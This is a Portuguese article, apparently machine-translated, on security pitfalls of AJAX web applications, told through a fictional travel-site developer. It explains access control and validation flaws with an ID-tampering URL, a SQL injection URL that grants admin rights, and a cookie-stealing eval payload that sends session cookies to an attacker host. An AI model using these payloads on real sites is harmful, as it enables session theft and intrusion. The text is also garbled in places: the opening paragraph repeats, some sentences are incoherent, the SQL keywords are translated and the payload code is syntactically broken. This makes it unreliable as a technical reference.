Os desenvolvedores da Web não perceberão a empolgação trazida pelo "AJAX (Asynchronous JavaScript And XML)". Criar sites inteligentes como o Google Suggest ou aplicativos baseados na web como o Gmail é fácil, em grande parte graças a essa tecnologia. No entanto, com o desenvolvimento de aplicativos AJAX, descobrimos algumas de suas deficiências e descobrimos que suas falhas de segurança estão gradualmente aumentando, assim como colocar lentamente o site baseado em AJAX em uma bomba-relógio. Os desenvolvedores da Web não perceberão a empolgação trazida pelo "AJAX (Asynchronous JavaScript And XML)". Criar sites inteligentes como o Google Suggest ou aplicativos baseados na web como o Gmail é fácil, em grande parte graças a essa tecnologia. No entanto, com o desenvolvimento de aplicativos AJAX, descobrimos algumas de suas deficiências e descobrimos que suas falhas de segurança estão gradualmente aumentando, assim como colocar lentamente o site baseado em AJAX em uma bomba-relógio.
Benefícios do AJAX
Nos bons e velhos tempos dos “aplicativos da web”, as coisas eram bem simples. Você preenche um formulário, clica no botão “Enviar” e a tela atual desaparece, aguardando um pouco antes de ser transferido para a próxima página. Isso não é mais o caso hoje. O que os usuários desejam é uma experiência na Web que seja tão suave, rápida e fácil de usar quanto qualquer aplicativo de desktop.
AJAX geralmente funciona em conjunto com DHTML (HTML dinâmico) e sua execução suave requer permitir que o código JavaScript na página da web e o servidor da web se comuniquem perfeitamente em segundo plano. Por exemplo, quando você começa a digitar algo na caixa de pesquisa do Google Suggest, a página da web e o servidor começam a trocar dados em segundo plano e, em seguida, serão fornecidos alguns termos de que você pode precisar. Tudo isso sem a necessidade de atualizar a página ou pressionar nenhum botão. É também por isso que aplicativos como o Gmail fazem um trabalho tão bom com a verificação ortográfica em tempo real.
Como funciona o AJAX
Os princípios complexos do AJAX estão além do escopo do que quero explicar hoje, por isso irei descrevê-los brevemente aqui. O código JavaScript em sua página pode entrar em contato com seu servidor web sem depender do usuário. A função principal aqui é o objeto XMLHttpRequest do JavaScript, que pode ser acionado em segundo plano ou de forma assíncrona por eventos como pressionamentos de tecla do usuário ou eventos de relógio (ou seja, os termos JavaScript e XML assíncronos).
Se você digitar “ajax” no Google Suggest, receberá uma solicitação de servidor como a que recebi depois de digitar:
1. www.google.com/complete/search?hl=en&js=true&qu=aj
2. www.google.com/complete/search?hl=en&js=true&qu=aja
3. www.google.com/complete/search?hl=en&js=true&qu=ajax
A parte XML desta terminologia é um pouco enganosa; na verdade, não tem significado. Seu nome vem do objeto JavaScript, e muitos aplicativos no estilo AJAX usam XML, que pode fazer uma solicitação ao servidor para qualquer transação. Até o próprio código JavaScript pode ser recuperado e avaliado. Continuar a completar minha entrada de "exemplo ajax" produzirá a seguinte resposta dos servidores do Google:
sendRPCDone(frameElement, "exemplo ajax", new Array("exemplo ajax", "exemplos ajax"), new Array("153.000 resultados", "177.000 resultados"), new Array(""));
Isso deve lhe dar uma dica sobre o poder do AJAX, com sua capacidade de adicionar novo código JavaScript ao navegador instantaneamente. No entanto, a abordagem ideal parece vincular o protocolo XML. Para dar um exemplo, por exemplo, o Google produziu o seguinte:
exemplo de ajax
153.000
exemplos de ajax
177.000
Obviamente, você pode analisar esses dados XML de uma forma adequada, mas temos que agradecer ao JavaScript por sua capacidade de lidar muito bem com objetos XML sob algumas restrições muito típicas e muitos bugs desagradáveis do IE.
Para o ajudar a compreender algumas questões do Ajax, estou aqui para lhe apresentar uma empresa de viagens imaginária - "Times Cutting Edge Travel Company". Estimulado por um bug do AJAX, seu principal desenvolvedor web, Max Uptime, decidiu misturar o AJAX para criar um aplicativo como esse. Dessa forma, ele estava à frente da curva.
Problema AJAX
Mais da metade dos riscos de segurança do AJAX vêm de vulnerabilidades ocultas no servidor. Claramente, um bom design usando técnicas de codificação seguras ajuda muito a tornar o AJAX mais seguro, e temos que agradecer a Max por sua familiaridade com a lista das 10 piores vulnerabilidades de segurança de aplicações web do Open Web Application Security Project (OWASP) ( www. owasp.org ). Infelizmente, quando Max implementou o AJAX, ele ainda teve que enfrentar uma série de fatores adicionais:
1. Nova tecnologia: Se Max quisesse conectar seu site a um banco de dados SQL, ele encontraria milhões de exemplos no Google. A tecnologia AJAX, por mais jovem que seja, ainda está relativamente no início do ciclo de aquisição, embora apenas alguns bons exemplos dela apareçam na web. Para resolver alguns problemas complexos difíceis e desnecessários, isso exige que desenvolvedores como Max desenvolvam de forma independente. Max teria que escrever código do lado do servidor e do lado do cliente, criando protocolos sobre os quais ele não tinha certeza (especialmente para respostas do servidor). Não importa quão bons sejam esses acordos, eles serão refletidos na página com o tempo.
2. Design não tradicional: AJAX é um pouco diferente do design tradicional porque esse aplicativo é metade cliente e metade servidor. No caso de Max, ele é o único desenvolvedor, portanto pode codificar tanto para o servidor quanto para o cliente. Desenvolver em duas linguagens diferentes ao mesmo tempo (especialmente nos estágios iniciais) criará alguns erros rudimentares de codificação porque irá alternar entre duas extremidades. O que é ótimo em uma extremidade pode não funcionar de maneira competente na outra. . Mesmo que Max tenha uma grande equipe de desenvolvimento, podem surgir responsabilidades de codificação de segurança quando o código é transferido entre as equipes de desenvolvimento do servidor e do cliente.
3. Muitas linguagens de script: Max usou sua própria engenhosidade para decidir construir a melhor ferramenta de check-in de viagens do mundo. Você inicia o registro inserindo sua localização atual (via código postal, código de área do telefone, GPS, etc.) e uma solicitação AJAX é enviada imediatamente para determinar sua localização exata. A partir daí, a tela é preenchida com todas as opções de viagem disponíveis para você, tudo antes mesmo de você decidir para onde quer ir, quando quer sair e com quem quer ir.
As células e controles nesta tela são todos controlados por AJAX e os scripts do lado do servidor e do lado do cliente podem exigir mais de 20 chamadas de servidor diferentes. Você pode imaginar um pequeno programa de servidor individual, como findairportsbylocation.aspx ou determinemaxbaggageallowancebyairline.php.
Tornou-se evidente que sem o planejamento cuidadoso de Max (como a criação de funções JavaScript e scripts de servidor versáteis e "sobrecarregados"), ele teria criado mais de 40 peças separadas para cada design. Mais programação significa mais erros e bugs, o que significa mais tempo escrevendo, gerenciando, testando e atualizando código. Não apenas isso, mas devido ao grande número desses scripts usados no código JavaScript do lado do cliente, eles também tendem a se tornar muito esquecidos durante os testes formais do programa.
4. Certifique-se de que uma pequena quantidade de AJAX não causará danos: Este site é um site para planejar uma viagem, mas Max está pensando que fornecerá imediatamente uma visualização de satélite mostrando a localização precisa e as condições climáticas do seu destino . Também disponível para você. Uma das grandes tentações do AJAX é que parece que ele está fazendo outra coisa até o último minuto, como se um comentarista estivesse explicando, usando AJAX pelo AJAX. Quando Max começar a testar suas novas ideias, ele gradualmente tentará adicionar mais recursos novos, ignorando completamente a necessidade de testes.
5. Comunicação insegura: Cada chamada AJAX pode retornar apenas uma pequena quantidade de dados ao cliente, mas esses dados são privados e confidenciais. Max pode escrever uma ferramenta útil para verificar digitalmente os números do seu cartão de crédito, mas e se você usar texto simples em vez de SSL para enviar os dados? É uma pergunta óbvia, mas quando há muitas rotinas a serem consideradas, especialmente quando os outros 99% dos dados são necessários? os dados na tela não são dados verdadeiramente confidenciais, é fácil ignorar o SSL.
6. Controle de acesso do lado do servidor: O uso de programas JavaScript para acionar AJAX geralmente oculta alguns erros óbvios de codificação. O controle de acesso do lado do servidor é um exemplo. Suponha que Max queira fornecer a você seu hotel favorito com base em um destino detalhado que você visitou da última vez. Ele poderia ser assim:
showprevioushotels.aspx?userid=12345&destination=Reino Unido
É claro que isso é muito bom, mas e se um usuário mal-intencionado alterar a URL para algo assim:
showprevioushotels.aspx?userid=12346&destination=%
Eles obterão os hotéis favoritos de outras pessoas (Nota: % é um caractere curinga na instrução SQL). Sem dúvida, este é um exemplo inofensivo, mas Max deve usar sessões, cookies ou outros tokens para garantir que os dados possam e somente sejam enviados ao usuário correto. Podem ser apenas uma pequena parte dos dados, mas podem ser a parte mais importante.
7. Validação do lado do servidor: Na verdade, existem dois problemas aqui. Primeiro, os controles AJAX são frequentemente usados para validar a entrada do usuário antes do envio final ao servidor. Isso paralisa Max e lhe dá uma falsa sensação de segurança porque ele configura uma função chamada Allowdestinations.php que determina o destino correto para o usuário com base em seu ID.
Como esta é uma verificação do lado do servidor, ele não precisa se preocupar em fazer a verificação no servidor novamente quando a página for finalmente enviada. Assumimos que nenhum usuário mal-intencionado pode subverter a resposta de Allowdestinations.php ou destruir a solicitação final para. a solicitação do servidor.
Os controles AJAX podem validar a entrada do usuário com mais cuidado do que o próprio usuário, mas ainda assim fazem a validação final no servidor.
O segundo problema com a validação AJAX é que o próprio controle está sujeito a vulnerabilidades de validação. Novamente, os URLs costumam ficar ocultos e, por isso, são frequentemente esquecidos. Por exemplo, talvez eu possa usar SQL Injection para atacar o script agora mesmo, da seguinte forma:
showprevioushostels.aspx?userid='; atualizar usuários set type='admin' where userid=12345;--
Isso me permitirá fazer login com direitos de administrador do sistema. É claro que como obter esses nomes de tabelas e campos está além do escopo deste artigo, mas você já conhece essa situação, não é?
8. Verificação do lado do cliente: já sabemos que no exemplo do Google Suggest agora há pouco, é viável criar e executar funções JavaScript dinamicamente simplesmente avaliando a resposta do lado do servidor. Sem qualquer forma de validação (o que seria difícil garantir confiabilidade e fluência do lado do cliente), o cliente simplesmente fará o que o servidor exige.
Nesse caso, como a execução real do código nunca é visível para um usuário normal (ou seja, você não pode “visualizar a fonte”), isso potencialmente abre um caminho completo de ataque para hackers mal-intencionados. Se a resposta do servidor for constantemente adulterada (seja no próprio servidor web ou durante a transferência de dados), esse ataque será difícil de detectar.
Max usa a seguinte resposta para atualizar o ícone do clima na página da web de destino. A função que ele usa é a função eval();
updateWeatherIcon('nuvem.gif');
No entanto, um cracker malicioso pode alterar esta função para a seguinte forma, tornando o ataque mais difícil de detectar:
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies('cloudy.gif');
Agora podemos rastrear o ID/cookie de sessão de cada usuário em nossos próprios servidores.
resumo
Não há dúvida de que as tecnologias AJAX e estilo AJAX são o caminho brilhante para o web design. Os desenvolvedores podem criar "aplicativos" reais na web que nunca foram possíveis antes, mas é preciso ter cuidado ao usar AJAX para garantir a segurança do site.
No entanto, uma das maiores ameaças vem de scripts cada vez mais sofisticados do lado do cliente e scripts do lado do servidor que usam AJAX. Esses scripts ficam ocultos por meios técnicos, tornando os testes pouco intuitivos. Ao mesmo tempo, essa nova tecnologia também parece fazer com que os desenvolvedores da Web esqueçam os princípios básicos de uma boa codificação; Questões como controle de acesso e validação de entradas não vão desaparecer, estão se tornando mais numerosas e complexas.
-